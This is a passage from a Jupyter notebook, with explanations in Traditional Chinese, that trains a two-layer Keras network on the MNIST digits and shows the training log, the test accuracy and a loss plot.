| }, 213 | "metadata": { 214 | "tags": [] 215 | }, 216 | "execution_count": 5 217 | } 218 | ] 219 | }, 220 | { 221 | "cell_type": "code", 222 | "metadata": { 223 | "id": "tH0iJlaLsWtN", 224 | "colab_type": "code", 225 | "outputId": "137a713d-0f03-47c2-c8d8-1f834a949848", 226 | "colab": { 227 | "base_uri": "https://localhost:8080/", 228 | "height": 34 229 | } 230 | }, 231 | "source": [ 232 | "test_images.shape" 233 | ], 234 | "execution_count": 6, 235 | "outputs": [ 236 | { 237 | "output_type": "execute_result", 238 | "data": { 239 | "text/plain": [ 240 | "(10000, 28, 28)" 241 | ] 242 | }, 243 | "metadata": { 244 | "tags": [] 245 | }, 246 | "execution_count": 6 247 | } 248 | ] 249 | }, 250 | { 251 | "cell_type": "code", 252 | "metadata": { 253 | "id": "XGp_yAo6sWtQ", 254 | "colab_type": "code", 255 | "outputId": "5462040d-7ec8-42d8-a1d0-40029559e4b0", 256 | "colab": { 257 | "base_uri": "https://localhost:8080/", 258 | "height": 34 259 | } 260 | }, 261 | "source": [ 262 | "len(test_labels)" 263 | ], 264 | "execution_count": 7, 265 | "outputs": [ 266 | { 267 | "output_type": "execute_result", 268 | "data": { 269 | "text/plain": [ 270 | "10000" 271 | ] 272 | }, 273 | "metadata": { 274 | "tags": [] 275 | }, 276 | "execution_count": 7 277 | } 278 | ] 279 | }, 280 | { 281 | "cell_type": "code", 282 | "metadata": { 283 | "id": "g3nyU7gR4yuH", 284 | "colab_type": "code", 285 | "colab": { 286 | "base_uri": "https://localhost:8080/", 287 | "height": 34 288 | }, 289 | "outputId": "e8d2e3b1-0d8e-4b9f-8bf2-532ab5d135ac" 290 | }, 291 | "source": [ 292 | "test_labels\n" 293 | ], 294 | "execution_count": 8, 295 | "outputs": [ 296 | { 297 | "output_type": "execute_result", 298 | "data": { 299 | "text/plain": [ 300 | "array([7, 2, 1, ..., 4, 5, 6], dtype=uint8)" 301 | ] 302 | }, 303 | "metadata": { 304 | "tags": [] 305 | }, 306 | "execution_count": 8 307 | } 308 | ] 309 | }, 310 | { 311 | "cell_type": "markdown", 312 | "metadata": { 313 | "id": "fYDVLFoJ410s", 314 | "colab_type": "text" 315 | }, 316 | "source": [ 317 | "## 建立準備訓練的神經網路" 318 | ] 319 | }, 320 | { 321 | "cell_type": "code", 322 | "metadata": { 323 | "id": "RwoYg6Q2sWtY", 324 | "colab_type": "code", 325 | "colab": {} 326 | }, 327 | "source": [ 328 | "from keras import models\n", 329 | "from keras import layers\n", 330 | "\n", 331 | "network = models.Sequential()\n", 332 | "network.add(layers.Dense(512, activation='relu', input_shape=(28 * 28,)))\n", 333 | "network.add(layers.Dense(10, activation='softmax'))" 334 | ], 335 | "execution_count": 0, 336 | "outputs": [] 337 | }, 338 | { 339 | "cell_type": "markdown", 340 | "metadata": { 341 | "id": "o32o6XjqsWtb", 342 | "colab_type": "text" 343 | }, 344 | "source": [ 345 | "上面這裡是神經網路的核心組成方式,我們在全連接層建立了兩層,由一個有 512 個神經元的網路架構連接到 10 個神經元的輸出層。輸出層採用 softmax 表示數字 0~9 的機率分配,這 10 個數字的總和將會是 1。以下將我們建立的網路進行 compile,這裡詳細的參數以後會介紹。" 346 | ] 347 | }, 348 | { 349 | "cell_type": "code", 350 | "metadata": { 351 | "id": "IM_H7xf8sWtc", 352 | "colab_type": "code", 353 | "colab": {} 354 | }, 355 | "source": [ 356 | "network.compile(optimizer='rmsprop',\n", 357 | " loss='categorical_crossentropy',\n", 358 | " metrics=['accuracy'])" 359 | ], 360 | "execution_count": 0, 361 | "outputs": [] 362 | }, 363 | { 364 | "cell_type": "markdown", 365 | "metadata": { 366 | "id": "8DgKZNqNsWtf", 367 | "colab_type": "text" 368 | }, 369 | "source": [ 370 | "\n", 371 | "以下將資料正規劃成為 0~1 的數值,變成 60000, 28x28 Shape 好送進上面定義的網路輸入層。" 372 | ] 373 | }, 374 | { 375 | "cell_type": "code", 376 | "metadata": { 377 | "id": "CwlXFOF4sWtf", 378 | "colab_type": "code", 379 | "colab": {} 380 | }, 381 | "source": [ 382 | "fix_train_images = train_images.reshape((60000, 28 * 28)).astype('float32') / 255\n", 383 | "fix_test_images = test_images.reshape((10000, 28 * 28)).astype('float32') / 255" 384 | ], 385 | "execution_count": 0, 386 | "outputs": [] 387 | }, 388 | { 389 | "cell_type": "markdown", 390 | "metadata": { 391 | "id": "7fMWx4uusWtj", 392 | "colab_type": "text" 393 | }, 394 | "source": [ 395 | "由於我們使用的 categorical_crossentropy 損失函數,因此將標記資料進行格式轉換。如下:" 396 | ] 397 | }, 398 | { 399 | "cell_type": "code", 400 | "metadata": { 401 | "id": "NpzKOM4IsWtj", 402 | "colab_type": "code", 403 | "colab": {} 404 | }, 405 | "source": [ 406 | "from keras.utils import to_categorical\n", 407 | "\n", 408 | "fix_train_labels = to_categorical(train_labels)\n", 409 | "fix_test_labels = to_categorical(test_labels)" 410 | ], 411 | "execution_count": 0, 412 | "outputs": [] 413 | }, 414 | { 415 | "cell_type": "markdown", 416 | "metadata": { 417 | "id": "4BneVUiWsWtl", 418 | "colab_type": "text" 419 | }, 420 | "source": [ 421 | "進行訓練模型,訓練中的正確率應該會在 0.989 左右" 422 | ] 423 | }, 424 | { 425 | "cell_type": "code", 426 | "metadata": { 427 | "id": "hyAErT-lsWtm", 428 | "colab_type": "code", 429 | "outputId": "93f97af7-420f-401e-8420-9941e9fff748", 430 | "colab": { 431 | "base_uri": "https://localhost:8080/", 432 | "height": 714 433 | } 434 | }, 435 | "source": [ 436 | "result = network.fit(\n", 437 | " fix_train_images,\n", 438 | " fix_train_labels,\n", 439 | " epochs=20,\n", 440 | " batch_size=128,\n", 441 | " validation_data=(fix_test_images, fix_test_labels))" 442 | ], 443 | "execution_count": 13, 444 | "outputs": [ 445 | { 446 | "output_type": "stream", 447 | "text": [ 448 | "Train on 60000 samples, validate on 10000 samples\n", 449 | "Epoch 1/20\n", 450 | "60000/60000 [==============================] - 4s 63us/step - loss: 0.2536 - accuracy: 0.9264 - val_loss: 0.1373 - val_accuracy: 0.9574\n", 451 | "Epoch 2/20\n", 452 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.1035 - accuracy: 0.9682 - val_loss: 0.0968 - val_accuracy: 0.9688\n", 453 | "Epoch 3/20\n", 454 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0677 - accuracy: 0.9797 - val_loss: 0.0817 - val_accuracy: 0.9750\n", 455 | "Epoch 4/20\n", 456 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0488 - accuracy: 0.9852 - val_loss: 0.0690 - val_accuracy: 0.9797\n", 457 | "Epoch 5/20\n", 458 | "60000/60000 [==============================] - 2s 34us/step - loss: 0.0376 - accuracy: 0.9886 - val_loss: 0.0673 - val_accuracy: 0.9789\n", 459 | "Epoch 6/20\n", 460 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0289 - accuracy: 0.9913 - val_loss: 0.0658 - val_accuracy: 0.9793\n", 461 | "Epoch 7/20\n", 462 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0226 - accuracy: 0.9936 - val_loss: 0.0630 - val_accuracy: 0.9822\n", 463 | "Epoch 8/20\n", 464 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0169 - accuracy: 0.9953 - val_loss: 0.0641 - val_accuracy: 0.9823\n", 465 | "Epoch 9/20\n", 466 | "60000/60000 [==============================] - 2s 37us/step - loss: 0.0138 - accuracy: 0.9961 - val_loss: 0.0695 - val_accuracy: 0.9820\n", 467 | "Epoch 10/20\n", 468 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0099 - accuracy: 0.9973 - val_loss: 0.0698 - val_accuracy: 0.9815\n", 469 | "Epoch 11/20\n", 470 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0081 - accuracy: 0.9977 - val_loss: 0.0744 - val_accuracy: 0.9807\n", 471 | "Epoch 12/20\n", 472 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0062 - accuracy: 0.9983 - val_loss: 0.0732 - val_accuracy: 0.9815\n", 473 | "Epoch 13/20\n", 474 | "60000/60000 [==============================] - 2s 37us/step - loss: 0.0049 - accuracy: 0.9987 - val_loss: 0.0704 - val_accuracy: 0.9829\n", 475 | "Epoch 14/20\n", 476 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0042 - accuracy: 0.9990 - val_loss: 0.0785 - val_accuracy: 0.9815\n", 477 | "Epoch 15/20\n", 478 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0030 - accuracy: 0.9991 - val_loss: 0.0785 - val_accuracy: 0.9830\n", 479 | "Epoch 16/20\n", 480 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0027 - accuracy: 0.9992 - val_loss: 0.0797 - val_accuracy: 0.9829\n", 481 | "Epoch 17/20\n", 482 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0018 - accuracy: 0.9995 - val_loss: 0.0809 - val_accuracy: 0.9831\n", 483 | "Epoch 18/20\n", 484 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0018 - accuracy: 0.9995 - val_loss: 0.0830 - val_accuracy: 0.9826\n", 485 | "Epoch 19/20\n", 486 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0011 - accuracy: 0.9997 - val_loss: 0.0895 - val_accuracy: 0.9826\n", 487 | "Epoch 20/20\n", 488 | "60000/60000 [==============================] - 2s 35us/step - loss: 8.4929e-04 - accuracy: 0.9998 - val_loss: 0.0853 - val_accuracy: 0.9835\n" 489 | ], 490 | "name": "stdout" 491 | } 492 | ] 493 | }, 494 | { 495 | "cell_type": "markdown", 496 | "metadata": { 497 | "id": "EtDNcx_4sWto", 498 | "colab_type": "text" 499 | }, 500 | "source": [ 501 | "將訓練後的模型輸入測試資料進行評比,一般說這樣的正確率應該會在 0.977% 左右" 502 | ] 503 | }, 504 | { 505 | "cell_type": "code", 506 | "metadata": { 507 | "id": "hGoUFvzSsWto", 508 | "colab_type": "code", 509 | "outputId": "9f3f3817-3112-41ad-ef11-d239ad5476b5", 510 | "colab": { 511 | "base_uri": "https://localhost:8080/", 512 | "height": 68 513 | } 514 | }, 515 | "source": [ 516 | "test_loss, test_acc = network.evaluate(fix_test_images, fix_test_labels)\n", 517 | "print('test_loss:', test_loss)\n", 518 | "print('test_acc:', test_acc)" 519 | ], 520 | "execution_count": 14, 521 | "outputs": [ 522 | { 523 | "output_type": "stream", 524 | "text": [ 525 | "10000/10000 [==============================] - 1s 77us/step\n", 526 | "test_loss: 0.08534976623827886\n", 527 | "test_acc: 0.9835000038146973\n" 528 | ], 529 | "name": "stdout" 530 | } 531 | ] 532 | }, 533 | { 534 | "cell_type": "markdown", 535 | "metadata": { 536 | "id": "K4MCrO1osWts", 537 | "colab_type": "text" 538 | }, 539 | "source": [ 540 | "\n", 541 | "為什麽訓練時的正確率會高於驗證測試呢?在這樣數據中,由於模型訓練時對訓練資料造成些微的過度擬合 (Over Fitting) 。一般來說這樣的情況是正常的,未來我們可以透過參數的調整或其他方法提高正確性。" 542 | ] 543 | }, 544 | { 545 | "cell_type": "markdown", 546 | "metadata": { 547 | "id": "Dy8b_Ll13xCA", 548 | "colab_type": "text" 549 | }, 550 | "source": [ 551 | "# 透過圖表協助分析訓練過程\n", 552 | "\n", 553 | "由於訓練 Model 時會進行好幾次的 Epoch,每一次 Epoch 都是對訓練資料集進行一輪完整的訓練,妥善觀察每一次 Epoch 的數據是很重要地。我們可以透過 matplotlib 函式庫繪製圖表,幫我們進行分析。\n", 554 | "\n", 555 | "以下方式可以繪製訓練過程 Loss Function 對應的損失分數。Validation loss 不一定會跟隨 Training loss 一起降低,當 Model Over Fitting Train Data 時,就會發生 Validation loss 上升的情況。" 556 | ] 557 | }, 558 | { 559 | "cell_type": "code", 560 | "metadata": { 561 | "id": "5H3F5lUS1Anl", 562 | "colab_type": "code", 563 | "outputId": "61bde1da-00f5-48a7-9b1d-887e79ae7a40", 564 | "colab": { 565 | "base_uri": "https://localhost:8080/", 566 | "height": 295 567 | } 568 | }, 569 | "source": [ 570 | "history_dict = result.history\n", 571 | "\n", 572 | "loss_values = history_dict['loss']\n", 573 | "val_loss_values = history_dict['val_loss']\n", 574 | "epochs = range(1, len(loss_values) + 1)\n", 575 | "\n", 576 | "import matplotlib.pyplot as plt\n", 577 | "plt.plot(epochs, loss_values, 'bo', label='Training loss')\n", 578 | "plt.plot(epochs, val_loss_values, 'b', label='Validation loss')\n", 579 | "plt.title('Training and validation loss')\n", 580 | "plt.xlabel('Epochs')\n", 581 | "plt.ylabel('Loss')\n", 582 | "plt.legend()\n", 583 | "\n", 584 | "plt.show()\n" 585 | ], 586 | "execution_count": 15, 587 | "outputs": [ 588 | { 589 | "output_type": "display_data", 590 | "data": { 591 | "image/png": "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2LJlCyNHjuT999/HzNizZ0/sNhdccAH169enfv36tGnThg0bNtC+fdFKjQEDBhyY16dPH9auXUvjxo3p3LnzgfsLhg8fzvTp00uN77XXXjuQpM466yw2bdrE1q1bGTRoELfccgsjRozgkksuoX379vTv35/Ro0ezZ88eLrroIvr06VOhY3MkUlnFtB7okDTdPppXhJl9DZgIDHX3Aw+bd/f10esaYB6Ql8JYRSTF0tnm16hRowPjP/rRjzjzzDN55513eO6550q8F6B+/foHxmvXrh3bflGWdSpiwoQJPPLII+zcuZNBgwaxYsUKzjjjDObPn0+7du0YNWoUv/nNbyr1PUuTygSxCOhiZp3MrB5wJVDkaiQzywMeIiSHT5PmNzez+tF4K2AQ8G4KYxWRFMtUm9+WLVto164dAI8//nil779bt26sWbOGtWvXAvDkk08edpvTTz+dGVHjy7x582jVqhVNmzZl9erV9OzZk+9///v079+fFStWsG7dOo4++miuvfZarrnmGpYsWVLpf0NJUpYg3H0v8F1gNvAe8JS7LzezKWaWuCrpbqAx8Mdil7OeCBSY2VvAXEIbhBKESBU2YgRMnw65uWAWXqdPT30V7+23384dd9xBXl5epf/iB2jQoAEPPPAAQ4YMoV+/fjRp0oRmzZqVus3kyZNZvHgxvXr1YsKECTzxxBMA3HPPPZx00kn06tWLunXrct555zFv3jx69+5NXl4eTz75JDfddFOl/w0lqTbPpM7Pz3c9MEgkvd577z1OPPHETIeRcdu3b6dx48a4O9dffz1dunRh/PjxmQ7rEHGfl5ktdvf8uPVr9J3UIiKV4eGHH6ZPnz706NGDLVu2cN1112U6pEqRFVcxiYhUZePHj8/KEkNFqQQhIiKxlCBERCSWEoSIiMRSghARkVhKECJSZZ155pnMnj27yLx77rmHcePGlbjN4MGDSVwSf/755/PFF18css7kyZOZNm1aqe89a9Ys3n334O1Zd955Jy+//PKRhB8rm7oFV4IQkSpr+PDhzJw5s8i8mTNnlqnDPAi9sB511FHleu/iCWLKlCl87WtfK9e+spUShIhUWZdeeinPP//8gYcDrV27lo8++ojTTz+dcePGkZ+fT48ePZg0aVLs9h07duSzzz4DYOrUqXTt2pXTTjvtQJfgEO5x6N+/P7179+Yb3/gGO3bsYOHChTz77LPcdttt9OnTh9WrVzNq1CiefvppAF555RXy8vLo2bMno0ePZvfu3Qfeb9KkSfTt25eePXuyYsWKUv++THcLrvsgRKRS3HwzLF1aufvs0wfuuafk5S1atGDAgAG8+OKLDBs2jJkzZ3L55ZdjZkydOpUWLVqwb98+zj77bJYtW0avXr1i97N48WJmzpzJ0qVL2bt3L3379qVfv34AXHLJJVx77bUA/PCHP+TRRx/lhhtuYOjQoVx44YVceumlRfa1a9cuRo0axSuvvELXrl25+uqr+dWvfsXNN98MQKtWrViyZAkPPPAA06ZN45FHHinx78t0t+AqQYhIlZZczZRcvfTUU0/Rt29f8vLyWL58eZHqoOIWLFjAxRdfTMOGDWnatClDhx58iOU777zD6aefTs+ePZkxYwbLly8vNZ6VK1fSqVMnunbtCsDIkSOZP3/+geWXXHIJAP369TvQwV9JXnvtNa666iogvlvwe++9ly+++II6derQv39/HnvsMSZPnszbb79NkyZNSt13WagEISKVorRf+qk0bNgwxo8fz5IlS9ixYwf9+vXjP//5D9OmTWPRokU0b96cUaNGldjN9+GMGjWKWbNm0bt3bx5//HHmzZtXoXgTXYZXpLvwCRMmcMEFF/DCCy8waNAgZs+efaBb8Oeff55Ro0Zxyy23cPXVV1coVpUgRKRKa9y4MWeeeSajR48+UHrYunUrjRo1olmzZmzYsIEXX3yx1H2cccYZzJo1i507d7Jt2zaee+65A8u2bdvGsccey549ew500Q3QpEkTtm3bdsi+unXrxtq1a1m1ahUAv/3tb/nqV796yHplkeluwVWCEJEqb/jw4Vx88cUHqpoS3WOfcMIJdOjQgUGDBpW6fd++fbniiivo3bs3bdq0oX///geW3XXXXQwcOJDWrVszcODAA0nhyiuv5Nprr+Xee+890DgNkJOTw2OPPcZll13G3r176d+/P2PHji3X35V4VnavXr1o2LBhkW7B586dS61atejRowfnnXceM2fO5O6776Zu3bo0bty4Uh4spO6+RaTc1N131aLuvkVEpFIoQYiISCwlCBGpkOpSTV3dledzUoIQkXLLyclh06ZNShJZzt3ZtGkTOTk5R7SdrmISkXJr3749hYWFbNy4MdOhyGHk5OTQvn37I9pGCUJEyq1u3bp06tQp02FIiqiKSUREYilBiIhILCUIERGJpQQhIiKxlCBERCSWEoSIiMRSghARkVhKECIiEksJQkREYqU0QZjZEDNbaWarzGxCzPJbzOxdM1tmZq+YWW7SspFm9n40jExlnCIicqiUJQgzqw3cD5wHdAeGm1n3Yqu9CeS7ey/gaeBn0bYtgEnAQGAAMMnMmqcqVhEROVQqSxADgFXuvsbdvwRmAsOSV3D3ue6+I5p8HUj0JHUu8Hd33+zunwN/B4akMFYRESkmlQmiHfBh0nRhNK8k3wYSTxYv07ZmNsbMCsysQL1JiohUrqxopDaz/wHygbuPZDt3n+7u+e6e37p169QEJyJSQ6UyQawHOiRNt4/mFWFmXwMmAkPdffeRbCsiIqmTygSxCOhiZp3MrB5wJfBs8gpmlgc8REgOnyYtmg2cY2bNo8bpc6J5IiKSJil7YJC77zWz7xJO7LWBX7v7cjObAhS4+7OEKqXGwB/NDOADdx/q7pvN7C5CkgGY4u6bUxWriIgcyqrLs2Tz8/O9oKAg02GIiFQpZrbY3fPjlmVFI7WIiGQfJQgREYmlBCEiIrGUIEREJJYShIiIxFKCEBGRWEoQIiISSwlCRERiKUGIiEgsJQgREYmlBCEiIrGUIEREJJYShIiIxFKCEBGRWEoQIiISSwlCRERiKUGIiEgsJQgREYmlBCEiIrGUIEREJJYShIiIxFKCEBGRWEoQIiISSwlCRERiKUGIiEgsJQgREYmlBCEiIrGUIEREJJYShIiIxFKCEBGRWClNEGY2xMxWmtkqM5sQs/wMM1tiZnvN7NJiy/aZ2dJoeDaVcYqIyKHqpGrHZlYbuB/4P0AhsMjMnnX3d5NW+wAYBdwas4ud7t4nVfGJiEjpUpYggAHAKndfA2BmM4FhwIEE4e5ro2X7UxiHiIiUQyqrmNoBHyZNF0bzyirHzArM7HUzuyhuBTMbE61TsHHjxorEKiIixWRzI3Wuu+cD3wTuMbOvFF/B3ae7e76757du3Tr9EYqIVGOpTBDrgQ5J0+2jeWXi7uuj1zXAPCCvMoMTEZHSpTJBLAK6mFknM6sHXAmU6WokM2tuZvWj8VbAIJLaLkREJPVSliDcfS/wXWA28B7wlLsvN7MpZjYUwMz6m1khcBnwkJktjzY/ESgws7eAucD/Frv6SUREUszcPdMxVIr8/HwvKCjIdBgiIlWKmS2O2nsPkc2N1CIikkFKECIiEksJQkREYtX4BLF5M4wfD8uXH35dEZGapEwJwswamVmtaLyrmQ01s7qpDS093OGRR2DKlExHIiKSXcpagphP6PqiHfAScBXweKqCSqeWLeGmm+Cpp+DttzMdjYhI9ihrgjB33wFcAjzg7pcBPVIXVnrdcgs0bQo//nGmIxERyR5lThBmdgowAng+mlc7NSGlX4sWcPPN8MwzsHRppqMREckOZU0QNwN3AH+O7obuTLjDudoYPx6aNVMpQkQkoUwJwt1fdfeh7v7TqLH6M3e/McWxpdVRR4WqplmzYMmSTEcjIpJ5Zb2K6fdm1tTMGgHvAO+a2W2pDS39bropJIrJkzMdiYhI5pW1iqm7u28FLgJeBDoRrmSqVpo1g1tvheeeg0WLMh2NiEhmlTVB1I3ue7gIeNbd9wDVo5e/Ym64ITRaqxQhIjVdWRPEQ8BaoBEw38xyga2pCiqTmjaF226DF16AN97IdDQiIplT7u6+zaxO9MyHrFCZ3X1v3w6dOkG/fvC3v1XKLkVEslKFu/s2s2Zm9gszK4iGnxNKE9VS48Zw++0wezYsXJjpaEREMqOsVUy/BrYBl0fDVuCxVAWVDb7zHWjTBiZNynQkIiKZUdYE8RV3n+Tua6Lhx0DnVAaWaY0ahVLEyy/DggWZjkZEJP3KmiB2mtlpiQkzGwTsTE1I2WPcODj6aJUiRKRmKmuCGAvcb2ZrzWwtcB9wXcqiyhING8KECTB3Lsybl+loRETSq6xdbbzl7r2BXkAvd88DzkppZFniuuvg2GNDKaKcF3yJiFRJR/REOXffGt1RDXBLCuLJOg0awB13wPz5oSQhIlJTVOSRo1ZpUWS5a6+Fdu3gzjtVihCRmqMiCaLGnCpzcuAHP4B//CNc1SQiUhOUmiDMbJuZbY0ZtgFt0xRjVvj2t6FDB5UiRKTmKDVBuHsTd28aMzRx9zrpCjIb1K8PEyfC66+HO6xFRKq7ilQx1Tjf+hbk5qoUISI1gxLEEahXD374w/CsiBdeyHQ0IiKppQRxhEaODD29Ju6LmDEDOnaEWrXC64wZmY5QRKRyKEEcobp14Uc/gsWL4XvfgzFjYN26kCzWrQvTShIiUh2kNEGY2RAzW2lmq8xsQszyM8xsiZntNbNLiy0baWbvR8PIVMZ5pK66Cr7yFbjvPtixo+iyHTtCY7aISFWXsgRhZrWB+4HzgO7AcDPrXmy1D4BRwO+LbdsCmAQMBAYAk8yseapiPVJ16oSG6j174pd/8EF64xERSYVUliAGAKui7sG/BGYCw5JXcPe17r4M2F9s23OBv7v7Znf/HPg7MCSFsR6xb34zJIo4xx2X3lhERFIhlQmiHfBh0nRhNK/StjWzMYmn3G3cuLHcgZZHnTqhC47iGjaEqVPTGoqISEpU6UZqd5/u7vnunt+6deu0v/8vfwlt24aGawj3SEyfDiNGpD0UEZFKl8oEsR7okDTdPpqX6m3TpnZt+PnPQ1vEnXfCmjVKDiJSfaQyQSwCuphZJzOrB1wJPFvGbWcD55hZ86hx+pxoXta5/HK44gqYMgXOPx8+/TTTEYmIVI6UJQh33wt8l3Bifw94yt2Xm9kUMxsKYGb9zawQuAx4yMyWR9tuBu4iJJlFwJRoXtapVQv+8Ad48EF49VXo3RteeSXTUYmIVJx5NelUKD8/3wsKCjIaw9tvh9LEihWhe/DJk0u+0klEJBuY2WJ3z49bVqUbqbNNz56hn6ZvfStcyTR4sO6JEJGqSwmikjVqBI8+GrrbeOst6NMHZs3KdFQikq3++1/YsiXTUcRTgkiRb34T3nwzdOx38cVw442we3emoxKRbPDZZ/DrX8PXvw4tW8JRR0GXLjB8OEybBvPmwdatmY4SVEOeQscfDwsXwoQJcM898NprMHMmdO2a6chEJN0++AD+/OcwLFgA+/eHXhfGjoU2bUIHoAsXhnNEQteu0K8f5OeH1759oUmT9MW